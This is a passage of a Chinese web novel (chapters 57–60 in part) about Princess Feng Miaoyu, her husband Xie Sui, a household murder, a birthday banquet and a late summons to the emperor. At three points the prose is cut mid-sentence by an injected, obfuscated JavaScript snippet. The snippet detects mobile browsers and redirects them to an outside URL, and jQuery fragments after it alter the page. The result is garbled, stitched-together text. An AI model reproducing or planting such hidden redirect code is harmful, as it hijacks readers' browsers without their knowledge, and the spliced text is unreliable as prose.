“怎么还不睡,”谢随迷迷糊糊问道,习惯性地爬起身点灯,“可是有哪里不舒服?” 她小产后身体本来就不好,冬月里又落了水,身体变得格外虚弱,头疼脑热成了家常便饭。偏偏她又是个不愿意麻烦人的性子,不舒服也总是自己忍着不愿说出口。谢随抬手摸了摸她的额头,又仔细查看她的面色,有些苍白,大概只是一路上舟车劳顿累到了,并无大碍。 一颗提着的心才缓缓放下。 “我没事,只是睡不着而已。”冯妙瑜轻轻说,“大概是一下子换了地方,有点不适应吧。” 在临江躲了近两个月的清闲,突然又回到忙碌到喘不过气来的生活里,冯妙瑜幽幽叹了口气,权势,是自保的锋刃,何尝又不是一种重负呢。 既不愿受制于人,就得往上爬。爬啊,爬啊,总算爬到了山顶,有了一席之地,可这条路却是没有尽头,更不允许回头的……每个人都卯足了劲儿地想爬到山顶上啊,于是山下的人仰望着山上的人,而山上的人呢,则警惕的看着山下的人,一刻也不敢放松,生怕稍有松懈,就被山下的人扑上来撕碎了踩在脚下,成了一块垫脚的石头。 屋里陷入了一片沉寂。 谢随吹灭了灯,春夜在两人间静静流淌着。 “感觉你好像没有在临江的时候开心。”谢随一只手托着腮,另一只手轻轻顺着冯妙瑜的长发,一种无声的安慰,自从决定回盛京后她的情绪就一直很低落。他突然问道,“如果能自己选择的话,你想过什么样的生活?” “轻松一点的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036408|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这样的回答也太笼统了,不作数的,”谢随笑笑说,“得说得再具体一点。” “具体一点?”冯妙瑜于是仔细地想了一会,“像在临江时那样悠闲的日子吧?养养花,逗逗猫儿什么的。但这也不好说,老是待在同一个地方会很无趣,四处游览也很不错,走遍四海——你怎么突然问起这个来了?” 冯妙瑜一面说着一面在心里摇摇头。这种事情当然也只能是想想罢了,成人的世界里哪里有轻松二字。说着不喜欢尔虞我诈,明争暗斗的日子,但她也只会做这个,这是她的生存方式。一只老虎就算不喜欢吃肉也还是会咬断猎物的喉咙,这是刻在骨子里本能。要是有一天她不做这个长公主了,那她还真不知道自己还能做什么。 “只是随便问问。” 谢随说,却默默把冯妙瑜所说的记在心里,外面更夫打更的声音隐隐传来。 “时辰不早了,快睡吧。”谢随轻轻说。 —— 翌日一早,没出太阳,天是蒙蒙浅灰。谢随早已经上衙门应卯去了。冯妙瑜刚刚睡醒起来,就察觉到了几分古怪,屋里的气氛紧紧绷着,阿玉抿着唇站在门口处,脸色极差,像是风雨欲来。 “公主,”阿玉深吸了口气,“那个盛三昨天晚上死了。” “死了?” 冯妙瑜一愣。 昨天下午还好端端的,那个骂她半个时辰都不带喘气的人,怎么说死就死了?若说是巧合,那这未免也太巧了点吧。 “是侍卫早上进去换水的时候发现的。奴婢去看的时候那人面色发绀,身上没有其他外伤,瞧着像是窒息而死的。” “没有外伤,那好好的人怎么会突然窒息?窒息的原因能查出来吗?”冯妙瑜问。 阿玉摇了摇头。 就在两人说话间,榴红带着几个小丫鬟端了早膳进来,单笼金乳酥,汉宫棋,生进二十四气馄饨……都是冯妙瑜素日爱吃的食物,与在临江的吃食相比精致许多,她却一点胃口都没有,早膳才刚上桌,就让人撤下去了。 昨天晚上负责看守偏院的领卫很快被叫进来。 “昨晚看守偏院的一共是两班,加上卑职共十七人,一班负责前半夜,一班负责后半夜,其中四人把守院门,其余四人则每隔一刻巡逻一次。人员名册在此。” 领卫恭恭敬敬递上册子。他的脸色也难看得很,能入选公主府侍卫的都是百里挑一万里挑一的人才,不过是看守一个被锁在屋里的闲汉,这么简单的差事,人竟然在他们的眼皮子底下被杀了,这简直是当面打他们的脸。太丢人了。 “昨天我和颜先生离开后,还有谁进过偏院?”冯妙瑜问。 “酉正时卑职手下的人进去放了一桶水给他喝,戌初郎中到了,进去帮他处理了身上的伤口,还有府里的两个侍女进去帮忙,然后那人把水打翻了,郎中出来后,卑职手下的人又进去重新放了水,”领卫迟疑了一下,一面瞅着冯妙瑜的脸色,一面小心地开口,“对了,昨晚姑爷也去过偏院,时间约莫在郎中出来后到卑职手下进去重新放水之间。” “姑爷在里面呆了大约有一刻的功夫。姑爷既没有向卑职解释那个时辰去偏院的缘由,也不允许卑职等跟着一起进去,此话不知道当讲不当讲——依卑职之见,姑爷实在是可疑得很。” “不是他。我知道他为什么那个时辰去偏院,你不用管这个。”冯妙瑜笑着摆摆手。谢随粗心弄丢了自己的鱼符,又没脸让旁人知道,所以他当然不会对领卫解释去偏院的缘由,更不会允许侍卫跟着一起进去。真是无妄之灾,冯妙瑜转头又吩咐阿玉道:“把昨晚那个郎中,送水的侍卫,还有进去帮忙和准备水的几个侍女全部都叫过来。” 送水的侍卫和那三个侍女很快进来了,去叫郎中的小厮却迟迟没有回来回话。 直到正午那小厮才步履匆匆地跑进来。 一开始他见那郎中家中无人,门上挂了锁,以为那郎中是出门出诊去了。可等了两个时辰都不见人,他起了疑偷偷翻墙进去才发现那屋子里能搬走的东西全搬走,人早就跑路了。至于那郎中究竟跑去了哪里,冯妙瑜当晚就知晓了。 献亲王一倒,由他总领的京兆府也跟着遭了殃。该砍头的砍头,该卷铺盖的卷铺盖,一下子空出来不少位子。傻子才会错过过这个往京兆府里安排自己人的机会。 冯妙瑜把京兆府的人递来的信递给颜先生。 “人是在城南一处偏僻的排水涵洞底下找到的,找到的时候就已经死透了,手里还攥着一截银票的碎片,”冯妙瑜摇摇头,“听说这人是个黑户,此前就因为医死了人才跑带盛京来的。京兆府把这桩案子定为蒙古大夫跑路途中遭遇强盗,黑吃黑。眼下正在集中排查盛京城内的地痞流氓,至于盛三的死,是因为这个郎中医术不精,给他用错了药物。纯属意外——您怎么看?” “依老夫看,这恐怕是借刀杀人后又杀人灭口啊。” “我也是这么想的。”冯妙瑜说。 “真是可惜,这线索就断在这里了。”颜先生郁闷的直拍桌子,看对方那反应,如果能顺着查下去一定能查到什么的。 “不过也不算全无收获。至少我们现在知道盛京的确有一股藏在暗处的势力,他们和过去的兰溪许家有些关系,而且手伸得很长,这眼线都安插到我的长公主府里来了。”冯妙瑜轻轻地说,眼底涌现出些许杀意。 58. 58 这年二月出头,新年刚过,长公主府突然毫无预兆地处理了一批小厮丫鬟,变卖的变卖,发配的发配。 左不过是几个小厮丫鬟而已,倒也不是什么大事。对外只说这些人年纪太小,手脚粗苯,反正只要有心鸡蛋里挑骨头总能挑出来点毛病。 至于真正发配变卖他们的原因,府里的两位主子都心知肚明,只是一个不愿声张,另一个装聋作哑罢了。 浮云聚了又散,雨声淅淅里,一声春雷如鼓。 二月初六,惊蛰始。 榴红一早就带着侍女们以香条,艾草等物四处熏烤驱虫,每到这个时节,屋里总沉着股淡淡的草木清香。 今天是王大人的生辰。 王谢两家是故交,王冕又是谢随的师长,谢随能有今日,也少不了他的提携帮助。谢随自然是要去为他庆生的,冯妙瑜想了想就说要一起去。左右没什么事情,外面淫雨霏霏,一个人闷在家里也实在无聊。王大人她虽然不熟悉,可他的夫人葛氏她却是见过面的,就在他们成亲那日,别的记不太清了,只记得那葛氏是个十分和气的妇人。应该是好相处的。 时辰不早了,阿玉进来给她梳头,冯妙瑜的头发又黑又长,每次梳头都是个大工程,得耐着性子等待,窗外雨水滴滴答答敲在窗沿上,冯妙瑜无聊,就翻面前的妆奁玩。 最上面两层都是她的,胭脂水粉,簪钗环饰,只有最底下一个小格子里放着谢随的东西。 男子的首饰无论是种类还是样式都远没有女子的丰富,常用的无非就香囊、玉佩、带钩几种,冯妙瑜随手伸进去摸了摸,里面多是些玉佩,他喜欢玉,平日常戴的也是各种玉,白玉青玉黑玉,各种样式的,摸着摸着,倒从里面翻出了枚老银戒指。 似乎是件有年头的物什,上面的花纹也非素日常见的样式,像是爷爷传孙子,孙子再传给孙子这样一辈辈传下来的传家宝,冯妙瑜拿在手里把玩了一转,戒圈很细,像是女子用的,可那上面的花纹又很硬朗,仔细想想,好像从没见过谢随戴过这个。 这时候谢随换好衣裳过来了,目光下移,见冯妙瑜一直捣鼓着那枚戒指玩,他微微一滞,但很快又恢复了正常。 “你喜欢这个?” 冯妙瑜摇摇头,“只是觉得样式挺新奇。是很重要的东西吗?” “算是吧。” 谢随含含糊糊地答。 巫阳世子所赠之物,是送给他和冯妙瑜的结婚贺礼,更是一份国礼,未来国君的承诺。一诺千金。只是现下巫阳部已经没落了,旧王已死,万俟闻兄妹下落不明,于是这份重礼也变得名存实亡了。 但毕竟是贺礼,意头还是好的。 “倒从来没见你戴过。” “是一个朋友送给我们的结婚贺礼。我日常不太戴这些,你喜欢便拿去玩吧。” “你的朋友送你的东西,我怎么好拿。” 冯妙瑜摇摇头正准备把戒指原路放回去,谢随想了下,总归是祝福,祝福这种东西多多益善,他走过来把戒指套在了冯妙瑜的手上。 她的皮肤其实偏冷偏透,戴银饰反而比戴金饰更好看,银光泠泠,有种说不出来的冷清矜贵。 “这有什么。本来就是送给我们两人的东西。你看,大小刚刚好,”谢随说,顺手扣着冯妙瑜的手牵她起身,“走吧,我们也该出门了。” 王大人的府邸还在通化坊,马车要走两刻钟才能到。王家府邸占地虽然不大,却因临近着朱雀大街,里里外外都十分热闹欢腾,和长公主府所在的崇仁坊相比,又是另一番风景。 下马车后,一路避开门口处三两个四处伸手乞讨的乞索儿,谢随和冯妙瑜一道去向王大人祝寿。 王冕今年八十高寿,已是垂暮之年,大鼻头,眼睛却很清亮,穿着一身亮色布衣被众人簇拥在中间,笑眯眯地接受道贺。冯妙瑜还是头一回见王冕本人,他是清流世家中人,两人在派系上并不对盘,她以前只是知道朝中有这么个人,仅此而已。没什么交情。 “公主安好。能迎公主大驾,当真是蓬荜生辉。您请上座。” 王大人看见冯妙瑜,连忙走过来颤巍巍行了礼。簇拥着他的人也忙乌压压的低头行礼,人群自动散开了一条道。 “今天是大人的生辰,您不必多礼。” 冯妙瑜点了点头算是回礼致意了。他对谢随亦师亦友,夫唱妇随,还让寿星公给她行这样的大礼,有些说不过去,冯妙瑜伸手虚扶起这个老人。 不消说,自她进来后,屋里的气氛明显变得拘谨起来。 和王冕日常往来的多是些清流世家中人,清流里有不少早就看冯妙瑜不顺眼的老古董,几道视线若有若无地投来,冯妙瑜也感觉到了,反正她和王冕也不熟悉,客套两句便找了个借口去回廊上吹风。 谢随则留下来和王冕单独说了几句话,王冕笑起来,拍了拍他的手,也不知道他们师徒究竟两说了些什么,谢随点了点头,突然回头冲她这边笑笑,朝她走过来。 一路上,有不少同样前来贺寿的官员同他打招呼,平日冯妙瑜一露面就咳嗽瞪眼睛那几个老头子也都笑眯眯同他打招呼,一个个笑的很慈祥和蔼,和看见冯妙瑜的态度天差地别……当真是人见人爱花见花开。冯妙瑜轻轻撇了撇嘴。 “外面潮,站在这里仔细受了凉。”谢随说,“我得在这陪着王大人他们喝几杯。今天来的女眷不多,就是葛氏的几个朋友和女儿孙女,她们这会在花厅里喝茶,我带你去找她们。” 谢随攥着冯妙瑜的手,领着她往花厅走。他似乎不是头一回来王大人府上,对这里的路非常熟悉,这里的丫鬟小厮也都认得他,见了面笑盈盈地屈身向他问好。 穿过一条窄道,又转进一道胖乎乎的葫芦门,几株盛放的红梅映入眼帘。许是梢头红梅过于招人,女眷们都从花厅跑到旁边八角青瓦的亭子里赏玩梅花,叽叽喳喳很是热闹。 又往前两步。 有个身材高挑的妇人斜对着两人,正叉着腰吩咐底下的仆妇,腕上的玉镯子甩的叮当作响。 “那梅花要选干净完整的,这个不行,太小了……一篮就够了,拿到厨房去让她们做了梅花粥端过来,再给祖父他们也送些去,他们今日离不了酒,没有比这个更适合解酒的了……” 转脸,正对上谢随,两人均是一愣。 谢随率先反应过来,笑着打了招呼。 “如意姐姐,许久不见。你还记得我吗?我是谢家的谢随。当年我们几个人还常在一起玩的。” 王如意看他好半天,才慢慢反应过来,很惊喜,“原来是你。我说怎么看着这么眼熟。我平时大多和夫君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045708|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在凤翔府那边,难得回来一次,没想到能碰上你——我听祖父说你高升了,五品呢,才这么年轻,恭喜恭喜。” “这位是王大人的孙女,王如意。我们几个从小基本是在一起长大的,就和亲姐弟差不多,”谢随低头在冯妙瑜耳边道,又抬头对王如意介绍道:“这位是我的妻子,永乐公主殿下。” 闻言,王如意脸上的表情微变。 哪怕远在凤翔府,她也听人说起过这位永乐公主的事迹。本来以为会是个相貌凶恶之人,没想到是个年轻漂亮的小姑娘,睫毛细长,安安静静站在谢谢身边。按规矩行了礼问了安,王如意心里还是忐忑,眼角余光既警惕又好奇地打量着冯妙瑜。 冯妙瑜倒是习惯这样的目光了。毕竟这些年她恶名在外,又少在女眷中走动,王如意的反应也在意料之中。 谢随轻轻咳嗽了两声,语气很低,很软。 “如意姐姐,她是头一回来你们府上,没几个认识人,又怕羞。好歹我叫一声姐姐的,待会你可要多陪她说说话,替我多照顾着点她。” 王如意这才又笑起来。 在他们这一辈的世家子里,谢随自小就是数一数二拔尖的,意气风发,难得见他这样低声下气拜托人,王如意眯眯眼,很是受用。 “就冲你这一声姐姐,你就放一万个心吧。祖母嫌我们这些小姑娘叽叽喳喳太吵闹,自己个儿回屋里躲清净去了,这边就数我最大,我会照顾好……” 王如意突然停住,在对冯妙瑜的称呼上犯了难。若是平常,自然是以姐妹相称的,但这位可是正儿八经的公主。和皇帝的女儿以姐妹相称,这胆也忒肥了。 冯妙瑜瞧出了她的难处,很快道:“既然是谢随的姐姐,那如意姐姐私下也和谢随一样,称我妙瑜就好了。” 规矩是死的。虽说亲疏贵贱有别,但那是做给外人看的。 “好。那妙瑜你先等我一下,”王如意也不推辞,爽快接受了,“下面这些人手脚粗苯得很,等我吩咐完她们我就带你进去。很快的。” “我陪你等着。”谢随说。 王如意便风风火火过去安排那些仆妇做事了,雷厉风行。冯妙瑜看着她的背影,偷偷挠挠谢随手心里的肉,小声说:“你好受欢迎。” 前院里的朝臣们,王家府邸里的下人,就连花厅里的女眷都是同他熟悉亲近的人,她心里就有点酸溜溜的,倒不是吃味儿,只是觉得这人与人间的差别怎么能这么大呢。 手心里像是被一片柔软羽毛扫过,扫在手心,软在心里。 “我们这些人都是从小一起玩到大的,自然亲近些。时间还长,等以后有了机会我慢慢介绍他们给你认识。都是很不错的人。他们肯定会很喜欢你的。” 谢随低声回道,又觉得她总要认识这些人的,提前了解一下是好事,便对冯妙瑜说起了几人儿时的一些趣事。 就在两人说话间,王如意忙活完匆匆折返回来了。 “来,我带你去找她们一起玩儿。”王如意说。 谢随恋恋不舍松开冯妙瑜的手,张了张嘴本来还想再叮嘱王如意两句的,王如意翻了个白眼,打断了他。 “好了好了,我知道了。你怎么变啰嗦了?比我那个死鬼夫君还要烦人。” 她摆摆手,领着冯妙瑜走进了亭子里。 59. 59 亭中玩闹的女眷们年纪都不大,大都是王家自己家中的姐妹妯娌。乍闻公主驾临虽然有些惊讶,但有王如意引荐,冯妙瑜本身又是个没多少架子的人,于是众人渐渐放下防备,继续亲亲热热谈笑起来。 不多时,王如意细细交代下去的梅花粥便端上了桌。 天青荷叶小瓷碗,每人的粳米粥上都浮着五朵去了花蕊的五瓣梅花。 众人皆是赞叹不已。 其实这梅花粥的味道和普通粳米粥并没有多少差别,只是因为亭外轻雨梅花香,多添了几分情致罢了。好在端上来的不止有粥,还有酸酸甜甜的蜜饯梅子和梅干,就这这两样小吃,倒也能勉强咽下一碗粥,不必糟践了主家的一片心意。 冯妙瑜顺势跟着赞叹了两句,王如意却摇摇头。 “可惜盛京家中没有绿鄂梅,要说熬煮这梅花粥,还得是绿鄂梅,冰清玉洁。既好看,又好吃,还能够调养胃气。凤翔府那地儿原本没有绿鄂梅,我特意移了两颗过去绿鄂梅,为的就是这一口。改日您若是路过凤翔府,还请务必上我们府上来尝一尝。” “只要如意姐姐不嫌弃,日后若有机会,必定上门叨扰你们。” 冯妙瑜笑笑,看了一眼眼前的粥碗,心里对王如意所言的好吃二字并不抱多少期待。 一碗白粥,前面加上梅花二字也好,绿鄂梅三字也好,对她来说,白粥吃起来就是白粥味儿,与其费这样大的功夫捣腾一碗白粥,倒不如制些甜丝丝糕饼来吃。 冯妙瑜在心里暗自摇头。 这大概就是她和这些清流世家中人相处不来的原因了。 用过了午膳,女眷们又换到了屋里继续聊起来,在座的女眷们都是成了亲的,孩子们由几个老嬷嬷带着在另一间屋里玩,倒也没什么需要担心的,几盏薄酒下肚,聊着聊着,因着王如意的夫君乃是凤翔府少伊,他们一家素与邠宁节度使一家交好,邠宁北接朔方,如今也是处在水深火热之中,众人就聊到了西境的局势上。 “缩头乌龟。要说这天底下我王如意最瞧不起谁,定非那老贼莫属。”王如意恨恨嚷嚷道:“如今到了春天,支援前线的军士们难免思春念家。耽误了农时,万顷良田无人耕种,他们人在前线作战,家中没有收成,那他们的家人可要饿死的。我夫君不过是提了句开粮仓向邠宁借调二千石粮食暂解其燃眉之急,可那獠却夹枪带棒好一顿嘲讽,还说我们这些世家之人成日就知道沽名钓誉——” “如意姐姐你消消气。姐姐你和那等小门小户出来的穷书生较什么劲?他们的眼界就只有眼前一粒米那么大的地儿。我家夫君见了他们都只当没看见有个人过去了。”有人说。 “我就是看不起那狗贼,抢了我夫君的位置不说,还成日在我们面前耀武扬威的,我们在凤翔府扎根了数百年,他?他算什么?” 今日席面上上的是金春刚酿好的新酒,酒性暴烈,冯妙瑜尝了一小口便主动要求换了茶水,她在一旁静静听了会儿,倒是听出了些门道。 大概是前任凤翔府伊有意让王如意的夫君接替他的位置,谁知道他告老还乡后,京中却派了个寒门出身的士子任了凤翔府伊,抢了王如意夫君的位子不说,两人在大小事务的处理上又总是不和。一个是外调京官有盛京在后面撑腰,一个是盘踞多年的地头蛇,这些年来两人斗的你来我往,不分上下。 王如意当然有十万分不满。 但这样的局面却正是父皇想要的。帝王之术在于制衡,冯妙瑜喝了口茶,淡淡地想,要是哪天世家和寒门之间和和美美称兄道弟了,那父皇在太极宫恐怕是连眼睛都不敢闭上一刻了。 等用过了晚膳,王如意酒也醒的差不多了,又提议姐姐妹妹们一起去摸两把叶子牌再增进一下感情,玩了一天,冯妙瑜有些困倦,正准备推辞了找个理由去前院找谢随回府去,一个小丫鬟进来在王如意耳边说了两句话,王如意转脸看向冯妙瑜。 原来那丫鬟是王大人派来找冯妙瑜的,说是谢随有些醉了,恐怕得早些回去了,来问冯妙瑜是和谢随一起回去,还是想留下来再玩会再回。 这真是瞌睡送枕头,还省得她费尽脑汁找借口先走了,冯妙瑜想都没想就说她和谢随一起提前回去。 淅淅沥沥的雨幕里,一柄柄油纸伞撑开,黄橙橙的伞面是阴雨天的小太阳,王家府邸门口停了不少马车,冯妙瑜才知道前院上的酒要比女眷们喝的那种更烈,今日席上喝晕了不少人。谢随还算是好些的那种,至少能靠自己走上马车。 天气灰蒙蒙的也瞧不清楚人脸。 旁边有个人在耍酒疯,小厮劝他上车回家,他死活不上去,抱着马脖子大着舌头嘟囔:“我就想在这里吹吹风,你放手,管我做什么?这里风景好!我不是不回去,也不是怕被她念叨!我只是不想同她计较!” 冯妙瑜晃头瞅了瞅,天色太暗了,实在没法瞧清楚那位耍酒疯的仁兄的尊容,有些遗憾,但雨势越来越大了,也只能上车回长公主府了。 待她沐浴更衣后回到房里,谢随已经洗漱好在床边上坐下了,蜡烛光下,他眼底水盈盈的,清澈见底,又有些傻里傻气的。 难得见他这幅模样。 冯妙瑜十分新奇地笑笑。 碰巧这个时候衔蝉不知道从哪窜出来跳到两人床榻上捣乱,冯妙瑜走过去弯腰抓衔蝉,一边和衔蝉在床头床尾躲猫猫,一边随口问谢随,“你们今天到底喝了多少酒呀?” 人都醉成这个样子了,她也只是随口一问,根本没指望谢随会回答自己。 “很多,数不清。”谢随说。 冯妙瑜愣了一下,没想到谢随会回答她,何况谢随回答她时还坐的笔直,一本正经,看起来很乖……很好欺负的样子。 冯妙瑜就抱着衔蝉在他旁边坐下了。 冯妙瑜想了想,问:“还记得我是谁吗?” “你是妙瑜。” “那今天是什么日子?” “二月初六。” “那你今天玩的高兴吗?” “一般,酒很难喝。” …… 有问有答,像是一个乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048927|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乖回答夫子问题的小学生。 冯妙瑜嘴角的笑意更深,她发现这人喝醉了以后当真是好玩的很。 冯妙瑜就摸了摸他脑袋以示鼓励,谁知道他竟打蛇附棍,整个人软绵绵贴上来,和衔蝉争起了冯妙瑜怀里的方寸之地。简直是只大号的狸奴。 “谢大人,你可真是出息了。”冯妙瑜哭笑不得。 这么大个人,怎么还跟一只小猫儿抢起来了?冯妙瑜很是嫌弃,搡了他两下没推动,他到底不比衔蝉,是抓着后颈就能轻轻松松拎起来的。她想了想,干脆把乱动的衔蝉拎起来塞到他怀里。 绵软在怀,谢随这下终于老实,又坐直了。 难得他这样乖巧,冯妙瑜心里蓦地微微一动。 她犹豫了一下,很小声地问他。 “那我问你一个问题,你要如实回答我,你最喜欢的人是谁?” “我最喜欢的人是……唔……”谢随想都没想,脱口而出。 只是话刚刚说了一半,冯妙瑜连忙捂住他的嘴,那个未说出口的名字就变成了一连串模糊不清的唔唔嗯嗯声。 “不能这样。”冯妙瑜警告他道:“这是个严肃的问题,所以你要好好想想,想清楚再回答我。知道了吗?” 直到谢随呆呆地点了下头,冯妙瑜才松开手。谢大狸奴似乎是被她捂疼了,脸上有片红印子,整个人都委屈巴巴的。 “这种问题还用得着想吗,我又不愚笨,”谢随嘟囔着,“我很清楚,我最喜欢的人肯定是……” 冯妙瑜突然就害怕从他嘴里听到那个名字了。 她转念又觉得自己十分幼稚,竟他问这个。好端端问这个做什么,这不是给自己添堵吗。于是她立刻大声咳嗽了两声掩饰过去,“好了好了,你不要往下说了,我不问你这个了。” 这个时候突然有人在外面敲了下隔扇门。 潮湿的木头发出闷闷的声音。 榴红立在外面,喊道:“公主,宫里来人了,说是要找您。” “宫里的人?这个时候?可有说是什么找我事情?”冯妙瑜疑惑道。 “那人只说是有急事要禀报,请您速速过去。”榴红说。 天色已经黑透了。 这个时候宫门早就下钥了,若非是十万火急的事情,父皇是绝不会派人出宫找她的。 会有什么事情呢?冯妙瑜抿了抿嘴,起身抓了件外衣披在肩头。 “知道了。你和他说我这就过去了。” 屋外暴雨如注。 隔扇门缓缓阖上了,木门既隔绝了屋外的暴雨,也把屋里人含糊不清的低语关在了里面。 “好奇怪。你为什么又不让我说了?” …… “冯妙瑜。” …… “我最喜欢的人是妙瑜。” …… “我都按你说的如实告诉你了,你为什么不理我了?” …… 烛火扑地晃了一下。 一声炸毛的猫叫瞬间弹出,撕裂了雨幕。 60. 60 冯妙瑜在延禧门外下了马车。 两个面容森严的老太监冒雨用肩膀顶着宫门,雨天地滑,使了全身的力气,也只开了一道仅能容纳一人通过的小缝。 黑压压的云层笼罩着整座宫城,暴雨压的人喘不过气来。雨幕中依稀可见几点摇曳的灯火,快走到太极宫门口,冯妙瑜才意识到今晚被叫来不只她一人。 有人从后面拍了拍她的肩膀。 是冯敬文。 “你也被父皇叫起来了?”伞缘相接,并肩同行数十步,冯敬文问她。 冯妙瑜不咸不淡的“嗯”了一声,算是回应。 “这么晚了,也不知道父皇叫我们有什么事。”冯敬文嘴里嘟囔着。 肯定不是好事。冯妙瑜心想。 等到了太极宫门口,刘公公早已在此等候二人多时了。他向两人行了礼,低声道:“皇上正在书房里同几位大人谈话。他吩咐奴才带二位先在书房旁的隔间歇一歇脚。” “刘公公,这是出什么事了?”冯妙瑜微微蹙眉,问道。 父皇这个时间还接见大臣,实在是不寻常。 “唉,奴才一边走,一边慢慢和您二位说吧,请随奴才进来吧。”刘公公答道。 等走到了书房门口冯妙瑜姐弟两才知道出了什么事情。献亲王的死对世家而言是个不小的打击,朔方军情紧急,刻不容缓,也是为了安抚世家,冯重明便从世家子弟中挑了一个叫潘青的率军赶赴西境支援。 虽说帝王给他加封了个大将军的头衔,但他在盛京呆了大半辈子,最多读了两本兵书,哪里有领兵作战的经验?明眼人都知道他就是个空架子,实际行军打仗全由底下几名副将商量着布置。可谁知这个潘青是个心比天高的,急功近利,竟不顾几名副将的劝阻贸然出击,孤军深入,中了蛮族埋伏,害三万大军全部被分割围困在孤城之内。 原本解朔方之困的大军变成了瓮中之鳖。气得冯重明摔了密函,直骂那人蠢才。 隔间和书房只隔着一道十二折的黑漆螺钿山水大曲屏,刘公公给两人上了茶,书房里几人的谈话声隐隐传来,冯妙瑜漫不经心地听着,冯敬文突然鬼鬼祟祟凑过来,扯扯她的衣袖。 “这么晚了,我又不懂得行兵打仗,你说父皇叫我们来做什么?”冯敬文低声道。 书房里传来几声重重的咳嗽声,谈话声止住,有人问起了冯重明的身体,冯妙瑜从屏风缝隙的间见冯重明扶着桌边咳嗽,过了好久才直起腰,说了句朕无事,不过是有些着凉,几人的谈话才又继续下去。 冯妙瑜一下子想到了什么,心下微沉。 没有谁能够长年百岁,总有这一天的,帝王也不例外。可这一天似乎要比想象中来的更早……冯敬文还远远不到能够独当一面的时候啊。 她压下心里的不安,抬手对冯敬文比了个噤声的手势。 “认真听,待会父皇要考你的。”冯妙瑜给了他一个警告的眼神。 冯重明和几位大臣说完话已是深夜,外面的雨势听着小了些,几位大臣前脚刚走,冯重明就叫了两人过去。 “这件事你怎么看?”问的是冯敬文。 冯敬文一滞。 什么怎么看,他方才根本就没有用心听几人的谈话,这时候那能说出来个子丑寅卯。冯敬文就望向冯妙瑜。往常这时候她总会帮他的……可这次冯妙瑜只是坐在一旁低头喝茶,全当没注意到冯敬文的救助的眼神。 未来天下的主宰,总不能一辈子靠着他的长姐吧。 又是好一阵咳嗽,冯敬文吓得直缩手,冯重明看他良久,最后只叹了一声道:“时候不早了,太子先回去吧,朕和你皇姐还有话要说。你在功课上还要多下功夫才行。” 冯敬文松了口气,应诺后赶忙大步离开,跑得比兔子还快,生怕冯重明又后悔,喊他回来训斥。 同样的问题,冯重明又问冯妙瑜。 冯妙瑜本想用一句儿臣不懂行军打仗之事糊弄过去,抬眼对上一双疲惫的眼睛,却又不忍心敷衍他了。 “朔方残部,再加上最近的夏绥应该还能凑出五六万人马,届时由他们引开蛮族的军队,应该能为潘将军他们解围。只是战场情势瞬息万变,谁也不知道会发生什么,儿臣不敢断言。”断水少粮的,潘青等人也许根本坚持不到朔方和夏绥军前去解围,冯妙瑜顿了顿,又安慰道:“天佑我大梁,那蛮族不过是一时猖獗,父皇不必过于担忧……无论如何,您还是要以龙体为重啊。” 冯重明又叹了一声,表情有些复杂。 “朕知道你们二人此前有些嫌隙,都是朕过于宠溺太子,”冯重明摇摇头,目光恳切,“但你们到底是亲姐弟,血浓于水的。太子年纪还小,有不足的地方,日后还得你多多提点他。” “这都是儿臣应该做的。敬文尚且年幼,父皇也要保重好身体才是。”冯妙瑜说。 就在两人说话间,刘公公带着人进来布置饭菜,帝王家的宵夜倒也很简单,不过两碗鲜鸡汤馄饨和几样小菜,刘公公又递了茶,给冯重明的是浓茶,冯妙瑜的则是暖身子的杏仁茶。 书案上的奏折堆积如山,看样子父皇今晚是不打算睡了。 “让你等那么久,也饿了吧。来陪朕吃点宵夜再回去吧。” 桌上碗筷都摆了是两份,冯妙瑜明白他的意思,她想了想,却说:“不了,父皇若没其他的事情,那儿臣先告退了。” 冯重明和刘公公都是微微一愣。 半晌后,冯重明才点了点头,“有空记得去看看你母妃。”说罢挥挥手,叫刘公公送她出去。 书房一下子就冷清了。 等刘公公送完冯妙瑜回来,帝王已经用过了宵夜,正坐在书桌前沉思。 “她变了。”冯重明轻轻说,“和以前不太一样了,倒是越来越像她母亲了。” 帝王有意留冯妙瑜用膳,她却拒绝了。刘公公摸不准帝王的心思,不敢贸然接话。 “要是他们两能换一换,朕也不必操这个心了啊。”冯重明又叹了一口气,拿起朱笔,“替朕研墨吧。” 蚕丝绫锦在书案上展开,刘公公挽袖替帝王研墨间无意扫到了上面的内容,登时吓得跪倒在地。 “陛下,恕奴才僭越,这,这……”刘公公有些结巴,不知道该如何开口了,“哪怕是公主,从古至今,也从来未有过女子入朝为官的先例啊……” 